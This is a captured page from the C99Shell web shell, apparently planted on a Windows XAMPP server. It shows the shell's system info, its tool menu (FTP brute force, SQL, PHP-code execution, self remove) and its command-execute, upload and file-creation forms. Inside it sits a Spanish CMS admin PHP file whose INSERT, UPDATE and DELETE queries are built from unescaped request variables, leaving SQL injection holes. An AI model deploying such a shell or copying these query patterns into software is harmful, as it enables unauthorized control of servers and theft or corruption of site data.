!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\portel_dama\administracion\Copia de clases_herramientas\Backup_clases\   drwxrwxrwx
Free 7.95 GB of 239.26 GB (3.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     include_querys_admon.php (13.15 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
///////////////////////////////////////
    // Listado de Querys por aplicacion  //
    ///////////////////////////////////////
    

            // ASIGNAR FOTOS y DOCUMENTOS
                
if ($id_app==7) {
                    
$campo_id "id";
                    
$id $id;
                    
$tabla "contenido_pertenencia_foto_links";
                    
$valores_insertar "'$id','$foto_id'";
                    
$numero_campos 2;
                    if (
$accion == "ins_") {
                        unset(
$links_id);
                    }
                }
            
            
            
// CONTACTO
                
if ($id_app==8) {
                    
// Operaciones sobre archivo
                    
if ($contacto_archivo_anexo != "" and $accion == "ins_") {
                            
$file_up = new archivo($contacto_archivo_anexo,300,300,$contacto_archivo_anexo_name);
                            
$contacto_archivo_anexo $file_up->ARCHIVO;
                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_contacto_archivo_anexo)) {
                            
$file_up1 = new archivo($contacto_archivo_anexo_new,300,300,$contacto_archivo_anexo_new_name);
                            
$contacto_archivo_anexo $file_up1->ARCHIVO;                        
                        }
                    }
                    
                    
// Relaciones
                    
$tabla_rel "administracion_pertenencia_fuente_contacto";
                    
$valores_insertar_rel[0] = "'$fuente_id'";
                    
$repeticiones 1;
                    
                    
$campo_id "contacto_id";
                    
$id $contacto_id;
                    
$tabla "administracion_contacto";
                    
$valores_insertar "'','$contacto_tipo','$contacto_perfil','$contacto_nombre','$contacto_ocupacion','$contacto_ubicacion','$contacto_telefono','$contacto_fax','$contacto_correo','$contacto_url','$contacto_estado','$contacto_id_supervisor','$contacto_texto','$contacto_archivo_anexo','$contacto_ciudad','$contacto_pais'";
                    
$numero_campos 16;
                    
$set "contacto_tipo='$contacto_tipo', contacto_perfil='$contacto_perfil', contacto_nombre='$contacto_nombre', contacto_ocupacion='$contacto_ocupacion', contacto_ubicacion='$contacto_ubicacion', contacto_telefono='$contacto_telefono', contacto_fax='$contacto_fax', contacto_correo='$contacto_correo', contacto_url='$contacto_url', contacto_estado='$contacto_estado', contacto_id_supervisor='$contacto_id_supervisor', contacto_texto='$contacto_texto', contacto_archivo_anexo='$contacto_archivo_anexo', contacto_ciudad='$contacto_ciudad', contacto_pais='$contacto_pais'";
                }
            
            
// FUENTES Y ORGANIZACIONES
                
if ($id_app==12) {
                    
// Operaciones sobre archivo
                    
if ($fuente_logo_imagen != "" and $accion == "ins_") {
                            
$file_up = new archivo($fuente_logo_imagen,300,300,$fuente_logo_imagen_name);
                            
$fuente_logo_imagen $file_up->ARCHIVO;
                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_fuente_logo_imagen)) {
                            
$file_up1 = new archivo($fuente_logo_imagen_new,300,300,$fuente_logo_imagen_new_name);
                            
$fuente_logo_imagen $file_up1->ARCHIVO;                        
                        }
                    }
                    
                    
$campo_id "fuente_id";
                    
$id $fuente_id;
                    
$tabla "administracion_fuente";
                    
$valores_insertar "'','$fuente_nombre','$fuente_tipo','$contacto_id','$fuente_ubicacion','$fuente_telefono','$fuente_fax','$fuente_correo','$fuente_url','$fuente_ciudad','$fuente_pais','$fuente_estado','$fuente_propiedades','$fuente_escala_prioridad','$fuente_logo_imagen'";
                    
$numero_campos 15;
                    
$set "fuente_nombre='$fuente_nombre', fuente_tipo='$fuente_tipo', contacto_id='$contacto_id', fuente_ubicacion='$fuente_ubicacion', fuente_telefono='$fuente_telefono', fuente_fax='$fuente_fax', fuente_correo='$fuente_correo', fuente_url='$fuente_url', fuente_ciudad='$fuente_ciudad', fuente_pais='$fuente_pais', fuente_estado='$fuente_estado', fuente_propiedades='$fuente_propiedades', fuente_escala_prioridad='$fuente_escala_prioridad', fuente_logo_imagen='$fuente_logo_imagen'";
                }
                
            
// CATEGORÍA
                
if ($id_app==18) {
                    
// Calculo de siguiente categoria válida
                    
$padre = new padre($categoria_id_padre);
                    
$categoria_tema_id $padre->CATEGORIA_LAST;
                
                    
// Operaciones sobre archivo
                    
if ($categoria_fondo_imagen != "" and $accion == "ins_") {
                            
$file_up = new archivo($categoria_fondo_imagen,300,300,$categoria_fondo_imagen_name);
                            
$categoria_fondo_imagen $file_up->ARCHIVO;
                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_categoria_fondo_imagen)) {
                            
$file_up1 = new archivo($categoria_fondo_imagen_new,300,300,$categoria_fondo_imagen_new_name);
                            
$categoria_fondo_imagen $file_up1->ARCHIVO;                        
                        }
                    }
                    
// Operaciones sobre archivo
                    
if ($categoria_banner_imagen != "" and $accion == "ins_") {
                            
$file_up = new archivo($categoria_banner_imagen,300,300,$categoria_banner_imagen_name);
                            
$categoria_banner_imagen $file_up->ARCHIVO;
                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_categoria_banner_imagen)) {
                            
$file_up1 = new archivo($categoria_banner_imagen_new,300,300,$categoria_banner_imagen_new_name);
                            
$categoria_banner_imagen $file_up1->ARCHIVO;                        
                        }
                    }
                    
                    
$campo_id "categoria_id";
                    
$id $categoria_id;
                    
$tabla "contenido_categoria";
                    
$valores_insertar "'','$categoria_tema_id','$categoria_tema_desc','$formato_id','$categoria_fondo_hex','$categoria_fondo_imagen','$categoria_banner_imagen','$categoria_estado'";
                    
$numero_campos 8;
                    
$set "categoria_estado='$categoria_estado', categoria_tema_desc='$categoria_tema_desc', formato_id='$formato_id', categoria_fondo_hex='$categoria_fondo_hex', categoria_fondo_imagen='$categoria_fondo_imagen', categoria_banner_imagen='$categoria_banner_imagen', categoria_estado='$categoria_estado'";
                }
            
            
// FOTOS Y MEDIOS
            
if ($id_app==19) {
                    
// Operaciones sobre archivo
                    
if ($foto_archivo != "" and $accion == "ins_") {
                            
$file_up = new archivo($foto_archivo,300,300,$foto_archivo_name);
                            
$foto_archivo $file_up->ARCHIVO;
                            
$foto_ancho $file_up->ARCHIVO_ANCHO;
                            
$foto_alto $file_up->ARCHIVO_ALTO;
                            
$foto_tamano $file_up->ARCHIVO_PESO;
                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_foto_archivo)) {
                            
$file_up1 = new archivo($foto_archivo_new,300,300,$foto_archivo_new_name);
                            
$foto_archivo $file_up1->ARCHIVO;
                            
$foto_ancho $file_up1->ARCHIVO_ANCHO;
                            
$foto_alto $file_up1->ARCHIVO_ALTO;
                            
$foto_tamano $file_up1->ARCHIVO_PESO;                        
                        }
                    }
                    
                    
$campo_id "foto_id";
                    
$id $foto_id;
                    
$tabla "contenido_foto_y_medios";
                    
$valores_insertar "'','$foto_nombre','$foto_descripcion','$foto_pie','$fuente_id','$foto_formato','$foto_ancho','$foto_alto','$foto_archivo','$foto_tamano','$foto_tipo'";
                    
$numero_campos 11;
                    
$set "foto_nombre='$foto_nombre', foto_descripcion='$foto_descripcion', foto_pie='$foto_pie', fuente_id='$fuente_id', foto_formato='$foto_formato', foto_ancho='$foto_ancho', foto_alto='$foto_alto', foto_archivo='$foto_archivo', foto_tamano='$foto_tamano', foto_tipo='$foto_tipo'";
                
                
// Eliminación desde categorias
                    
if ($accion == "del_1") {
                            
$query "delete from contenido_pertenencia_foto_links where links_id=" $links_id " and fotos_id=" $foto_id;
                            
$delete = new Select($query"del_",0);
                    }
            }
            
            
// IDIOMAS
                
if ($id_app==20) {
                    
$campo_id "idioma_id";
                    
$id $idioma_id;
                    
$tabla "contenido_idioma";
                    
$valores_insertar "'','$idioma_nombre','$idioma_propiedades'";
                    
$numero_campos 3;
                    
$set "idioma_nombre='$idioma_nombre', idioma_propiedades='$idioma_propiedades'";
                }
            
            
// LINKS
                
if ($id_app==21) {
                    
// Relaciones
                    
$e explode("-",$categoria_id);
                    
$u 0;
                    foreach (
$e as $valor) {
                        if (
$valor != "") {
                            
$valores_insertar_rel[$u] = "'$valor'";
                        
$u++;
                        }
                    }
                                    
                    
$tabla_rel "contenido_pertenencia_categoria_links";
                    
$repeticiones $u;
                    
                    
$campo_id "links_id";
                    
$id $links_id;
                    
$tabla "contenido_links";
                    
$u 0;
                    
                    
// Carga
                    
if ($accion == "ins_") {
                        
// Carga Masiva
                        // Descomposicion de la carga masiva, asigna valores como un arreglo y los pasa a esta parte.
                        
if (isset($links_numero)) {
                            
$u 1;
                            
$r 0;
                            foreach(
$links_nombre as $l) {

                                
$f = new fecha;
                                
$f->join_fecha_publ($dia_publicacion[$r], $mes_publicacion[$r], $ano_publicacion[$r]);
                                
$links_fecha_publicacion $f->FECHA;
                                
                                
$f2 = new fecha;
                                
$f2->sys_fecha();
                                
$links_fecha_ingreso $f2->FECHA_SYS;
                                
                                
$f1 = new fecha;
                                
$f1->join_fecha_ret($dia_retiro[$r], $mes_retiro[$r], $ano_retiro[$r]);
                                
$links_fecha_retiro $f1->FECHA;
                                
$valores_insertar[$r] = "'','" $links_nombre[$r] . "','" $links_descripcion[$r] . "','" $links_texto[$r] . "','" $links_tipo_id[$r] . "','" $links_estado[$r] . "','" $links_link[$r] . "','" $fuente_id[$r] . "','" $links_perfil_id[$r] . "','" $links_orden[$r] . "','" $links_fecha_ingreso "','" $links_fecha_publicacion "','" $links_fecha_retiro "',''";
                                
$r++;
                            }
                        }
                        
// Carga Simple
                        
if ($u == and isset($links_nombre)) {
                            
$f = new fecha;
                            
$f->join_fecha_publ($dia_publicacion$mes_publicacion$ano_publicacion);
                            
$links_fecha_publicacion $f->FECHA;
                                
                            
$f2 = new fecha;
                            
$f2->sys_fecha();
                            
$links_fecha_ingreso $f2->FECHA_SYS;
                                
                            
$f1 = new fecha;
                            
$f1->join_fecha_ret($dia_retiro$mes_retiro$ano_retiro);
                            
$links_fecha_retiro $f1->FECHA;
                                                        
                            
$valores_insertar "'','$links_nombre','$links_descripcion','$MyTextAreaName','$links_tipo_id','$links_estado','$links_link','$fuente_id','$links_perfil_id','$links_orden','$links_fecha_ingreso','$links_fecha_publicacion','$links_fecha_retiro','$links_foro'";
                        }
                        
// Eliminación desde categorias
                        
if (isset($d)) {
                            
$k_d explode(",",$k);
                            
$query "delete from " $tabla_rel " where links_id=" $k_d[1] . " and categoria_tema_id='" $k_d[0] . "'";
                            
$delete = new Select($query"del_",0);
                        }
                    }
                    
                    
// Edición
                    
if ($accion == "edi_") {
                            
$f = new fecha;
                            
$f->join_fecha_publ($dia_publicacion$mes_publicacion$ano_publicacion);
                            
$links_fecha_publicacion $f->FECHA;
                                
                            
$f2 = new fecha;
                            
$f2->sys_fecha();
                            
$links_fecha_ingreso $f2->FECHA_SYS;
                                
                            
$f1 = new fecha;
                            
$f1->join_fecha_ret($dia_retiro$mes_retiro$ano_retiro);
                            
$links_fecha_retiro $f1->FECHA;
                    }
                    
                    
$numero_campos 14;
                    
$set "links_nombre='$links_nombre', links_descripcion='$links_descripcion', links_texto='$MyTextAreaName', links_tipo_id='$links_tipo_id', links_estado='$links_estado', links_link='$links_link', fuente_id='$fuente_id', links_perfil_id='$links_perfil_id', links_orden='$links_orden', links_fecha_publicacion='$links_fecha_publicacion', links_fecha_retiro='$links_fecha_retiro', links_foro='$links_foro'";
                }
            
            
// LINKS_PERFIL
                
if ($id_app==23) {
                    
$campo_id "links_perfil_id";
                    
$id $links_perfil_id;
                    
$tabla "contenido_links_perfil";
                    
$valores_insertar "'','$links_perfil_nombre','$links_perfil_propiedades'";
                    
$numero_campos 3;
                    
$set "links_perfil_nombre='$links_perfil_nombre', links_perfil_propiedades='$links_perfil_propiedades'";
                }
            
            
// LINKS_TIPO
                
if ($id_app==24) {
                    
$campo_id "links_tipo_id";
                    
$id $links_tipo_id;
                    
$tabla "contenido_links_tipo";
                    
$valores_insertar "'','$links_tipo_nombre','$links_tipo_propiedades'";
                    
$numero_campos 3;
                    
$set "links_tipo_nombre='$links_tipo_nombre', links_tipo_propiedades='$links_tipo_propiedades'";
                }
                
            
// FORMATOS PHP
            
if ($id_app==40) {
                    
// Operaciones sobre archivo
                    
if ($formato_archivo != "" and $accion == "ins_") {
                            
$file_up = new archivo($formato_archivo,300,300,$formato_archivo_name);
                            
$formato_archivo $file_up->ARCHIVO;

                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_formato_archivo)) {
                            
$file_up1 = new archivo($formato_archivo_new,300,300,$formato_archivo_new_name);
                            
$formato_archivo $file_up1->ARCHIVO;
                        
                        }
                    }
                    
                    
$campo_id "formato_id";
                    
$id $formato_id;
                    
$tabla "presentacion_formato";
                    
$valores_insertar "'','$formato_nombre','$formato_propiedades','$formato_archivo','$css_id'";
                    
$numero_campos 5;
                    
$set "formato_nombre='$formato_nombre', formato_propiedades='$formato_propiedades', formato_archivo='$formato_archivo', css_id='$css_id'";
                
            }
            
            
// CSS Hojas de Estilo
            
if ($id_app==43) {
                    
// Operaciones sobre archivo
                    
if ($css_archivo != "" and $accion == "ins_") {
                            
$file_up = new archivo($css_archivo,300,300,$css_archivo_name);
                            
$css_archivo $file_up->ARCHIVO;

                    }
                    if (
$accion == "edi_") {
                        if (isset(
$ver_css_archivo)) {
                            
$file_up1 = new archivo($css_archivo_new,300,300,$css_archivo_new_name);
                            
$css_archivo $file_up1->ARCHIVO;
                        
                        }
                    }
                    
                    
$campo_id "css_id";
                    
$id $css_id;
                    
$tabla "presentacion_css";
                    
$valores_insertar "'','$css_nombre','$css_archivo'";
                    
$numero_campos 3;
                    
$set "css_nombre='$css_nombre', css_archivo='$css_archivo'";
                
            }

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--